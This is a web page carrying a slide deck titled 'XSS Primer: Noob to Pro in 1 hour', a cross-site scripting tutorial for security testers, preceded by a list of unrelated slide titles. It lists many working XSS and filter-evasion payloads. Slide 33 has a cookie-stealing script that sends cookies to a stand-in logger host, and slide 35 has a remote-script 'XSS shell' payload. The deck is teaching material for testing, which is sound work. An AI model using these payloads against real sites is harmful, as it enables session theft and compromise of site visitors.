Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 

Kürzlich hochgeladen (20)

H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DayH2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 

Noob to Pro XSS Primer in 1 Hour: The Complete Guide to Cross-Site Scripting

  • 1. XSS Primer: Noob to Pro in 1 hour By @snoopy_security
  • 2. Who and Why • Student & Junior Security Consultant. • XSS is a easy win if you do it correctly. • Bug bounties pay well and clients give you respect. • Cross site scripting is one of the oldest web application attacks known and is to be dated around 1996-1998
  • 3. What is XSS?  Untrusted data from user is processed by the application without any sort of validation.  It affects client side but the vulnerability resides in the server side.  Different types Reflected, Stored and DOM XSS
  • 5. Reflected XSS What is wrong with the above code?  The above code just prints the comment which is retrieved from the $_GET variable. Can add malicious JavaScript with the original URL.  <?php  echo '<h1>Hello ' . $_GET["name"]. '</h1>';
  • 6. Some Beginner Tips  XSS can come from anywhere. Some common ones are  URL parameter  Headers i.e user agent  Metadata  Input forms  Text area  Hidden fields  Flash parameters  File Uploads
  • 7. Some Beginner Tips  1. Try injection HTML Tags as well and malicious JavaScript 2. SVG is always good for a short and crisp attack vector. Can add whitespaces forward slashes and unclosed tags. 3. Add junk data with your payload 4. Always try a couple of different payloads. This mainly applies when trying to evade filters.  "><svg/onload=prompt(1)>
  • 8. Stored XSS  Malicious payload is stored by the server though database or other forms of storage and is reflected back.  This form of attack is easier than phishing with XSS payloads.  Can get admin cookies as well access to the internal network depending on the attack vector.
  • 9. DOM XSS The document object model is a structured representation of the web page rendered by the browser. DOM is where event handlers and any other JavaScript functions execute. DOM shows all the JavaScript and HTML rendered by your browser. DOM defines a way a webpage accessed and manipulated. An attacker can manipulate the DOM by adding malicious JavaScript which can change elements set by the DOM to attack a victim.
  • 10. DOM XSS  To find DOM XSS, analyse the JavaScript being executed on the page and see if DOM being written.  DOM is not view source. Inspect element is a better visual representation of the DOM.  ZAP,Burp and other proxies does pick up unsafe methods but you will need to check manually.  If it cannot be exploitable, try figuring about what library and unsafe sink the application is using. E.g. jquery .attr()
  • 11. DOM XSS  Common methods used to access DOM  document.location  document.URL  document.URLUnencoded  document.referrer  window.location  Passed data can then be written by methods such as eval, document.write and window.setinterval.
  • 12. Useful sources OWASP DOM XSS prevention cheat – gives you good explanation on unsafe methods that directly modify DOM. The DOM XSS wiki :https://code.google.com/p/domxsswiki/wiki/Introduction The wiki has useful information on dangerous methods, common sources and sinks. Other variations include Mutation XSS. More on that later…..
  • 13. Context is Everything Context is where the given input is reflected back. Five common ones 1. HTML 2. Attributes 3. Script 4. URL 5. Style
  • 14. HTML Context  Malicious input in reflected back in the html body in tags such as <div><p><title> and more.  Easiest to attack  Close the tag and try <script>alert(1)</script> or any similar payload.
  • 15. Attribute Context  HTML elements can have attributes. Attributes are  Input is reflected in a attribute element. So look for input being reflected back in ‘value =‘ or ‘alt =‘ or something similar.  Most of the time, attributes will be inside a single or a double quote.
  • 16. Couple of tips 1. Break out of the context by closing the quote and attribute tag. E.g ‘> 2. Any type of encoding won’t help your payload if you can’t break out of context. 3. If in doubt, URL-encode any special characters that have signify & = + ; and space. aas' onload='prompt(0);'' 4. Event handlers can also be used to attack attributes aas' onload='prompt(0);''
  • 17. Script Context The input will be reflected back inside a script tag. break out of text with quotes and execute Input is usually reflected back as part of a variable. Payload example  junk' ; alert(1);//
  • 18. URL Context  The input is reflected back in a href attribute. E.g.  <iframe src=“[Reflected Data]”>  <a href==“[Reflected Data]”>Link</a>  <META http-equiv=“refresh” content=““[Reflected Data]”>  No need to break out of context. Only need to encode payloads. This type of context requires the victim to click the URL to execute.
  • 19. Tips  Common ways to attack URL Context The above payload is base64 encoded. More about encoding later. You can also define the charset just like data, this might be useful in some cases.  javascript:prompt(0) data/text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
  • 20. CSS Context Also know as style context Input is usually reflected in inside a style tag Can be attacked using Another common one  width:expression(alert(‘XSS’))
  • 21. WAF Detection Usually Regex, Blacklist or whitelist based WAF can sometimes detect inbound as well as outbound. Most WAFs still detect using a signature based approach. Common way to detect WAFs: Modified cookies, rewritten headers and response codes
  • 22. WAF Detection  Find combinations of allowed and block characters first.  Some known tools to detect WAF. • Wafw00f • http-waf-fingerprint NSE script • http-waf-detect NSE script Will only detect the popular ones.  xss,<>{};”’script
  • 23. Filter Evasion 101  More than one ways to skin a web app!  If <script> tag is blocked> If site is filtering double and single quotes, you can use back tick (`). This technique only works on IE. “><script >alert(document.cookie)</script > “><ScRiPt>alert(document.cookie)</ScRiPt> “%3e%3cscript%3ealert(document.cookie) %3c/script%3e “><scr<script>ipt>alert(document.cookie)</scr</s cript>ipt> %00“><script>alert(document.cookie)</script>
  • 24. Filter Evasion Some popular techniques consists of spaces, encoding and comments. Try using prompt or confirm instead of alert Calling a external JavaScript file from inside a script source tag if brackets and quotes are blocked. If the application is filtering quotes or blocking script tags, try the below  <SCRIPT SRC=https://web.archive.org/web/20150121175718/http://ha.cker s.org/xss.js></SCRIPT>  <img/src=x onerror=prompt(/XSS/);>
  • 25. Filter Evasion When in doubt, try to comment everything after your payload. If less than and greater than sign is filtered in attribute context, try If script and src tags are blocked in a html context, try <script>alert(1)</script><!-- (html/attribute context) “;alert(5);// (script context)  “ onload=“prompt(0);””  <object data=“javascript:alert(0)”>
  • 26. Filter Evasion resources Too many techniques to present. Check them out here https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat _Sheet http://codev587.net/xss-filter-evasion-cheat-sheet-no1.html http://n0p.net/penguicon/php_app_sec/mirror/xss.html
  • 27. Encoding Encoding – transferring data from one format to another. E.g. ASCII, Unicode, URL Encoding etc Browsers support numerous encoding schemes but the attack vector depends on the page and its meta tag e.g. Encoding is useful if the server is decoding correctly. Still need to break out of context correctly for the encoded payload to work. <svg/onload=alert&#40&#41>>
  • 28. Encoding The following table describes how a user can obfuscate an IP address: This trick is getting more common among phishers. E.g. http://0xd2.0xdb.0xf1.0x7b/.online/BankofAmericaOnlineID/ SignIn URL Form http://127.0.0.1/ Decimal http://2130706433/ Dword http://0x7f.0x00.0x00.0x01/ Hex http://0177.0000.0000.0001/ Octal http://127.0x00.0000.0x01/ Mixed
  • 29. Encoding fromCharCode() method converts Unicode values into characters Long UTF-8 Unicode encoding to bypass filters <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#00001 15&#0000099&#0000114&#0000105&#0000112&#0000116&#0 000058&#0000097&#0000108&#0000101&#0000114&#0000116 &#0000040&#0000039&#0000088&#0000083&#0000083&#000 0039&#0000041">
  • 30. Encoding Encoding can also be useful to break up an XSS payload if the server is using pattern matching regex. Can also double encode payloads. Depends on how the application processes encoded client requests. The hexadecimal encoding of “../” represents "%2E%2E%2f“ Double encoding of “../” represents "%252E%252E%252F" <IMG SRC="jav&#x09;ascript:alert('XSS');">
  • 31. More Filter Evasion ASCII Decimal Encoded Will turn into alert(‘XSS’). The payload uses html entities which is decoded and rendered by the browser. ASCII Hex Encoded Useful for bypassing ‘magic_quotes_gpc’ &#106;&#97;&#118;&#97;&#115;&#99;&#114; &#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116; &#40;&#39;&#88;&#83;&#83;&#39;&#41; &#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70 ;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x2 7;&#x58;&#x53;&#x53;&#x27;&#x29;
  • 32. Encoding More Examples here: http://htmlpurifier.org/live/smoketests/xssAttacks.php https://danielmiessler.com/study/encoding/ Some useful encoders: http://n0p.net/penguicon/php_app_sec/mirror/xss.html http://evuln.com/tools/xss-encoder/ https://mothereff.in/html- entitieshttp://dev.w3.org/html5/html-author/charref https://hackvertor.co.uk/public http://utf-8.jp/public/jjencode.html?src=
  • 33. Actual attack vectors <script>window.location="http://example.com/logger.php? cookie="+document.cookie;</script> When executed, the above code sends the victims cookie to an attacker controlled site. Can be used for many things including cookie stealing, drive by downloads, running browser exploits, phishing and more. BeEF makes everything easy More cool XSS payloads:http://www.xss-payloads.com/
  • 34. Useful tools  Opinion: Most scanners suck at finding XSS.  Couple of tools I like – Xenotix, XSSValidator Burp Plugin, Sleepy puppy (If testing multiple applications, has trackable XSS payloads) How to build a scanner that works? A - Scanning within a browser engine. B - Using PhantonJS or similar webkit detect successful reflected XSS. I still prefer finding XSS manually but I like having options
  • 35. XSS Shell Demo Cool POC by Brutelogic. Fun way to report XSS than just script alert(1). Attacker machine listener Target payload <svg/onload=setInterval(function() {d=document;z=d.createElement("script");z.src="//HOST:PORT";d. body.appendChild(z)},0)>
  • 36. Things I didn’t mention Flash XSS – Embedded SWF files can be decompiled to source code. This can be used to find unfiltered variables which can be called from an URL to include malicious XSS. XSS Polyglot – Upload a flash file and be accepted as vaild JavaScript. Run remote XSS with src tag. (can be beat CSP in rare cases) Mutation XSS – There are more ways to trick DOM into parsing malicious XHTML like payloads. All worth checking out…..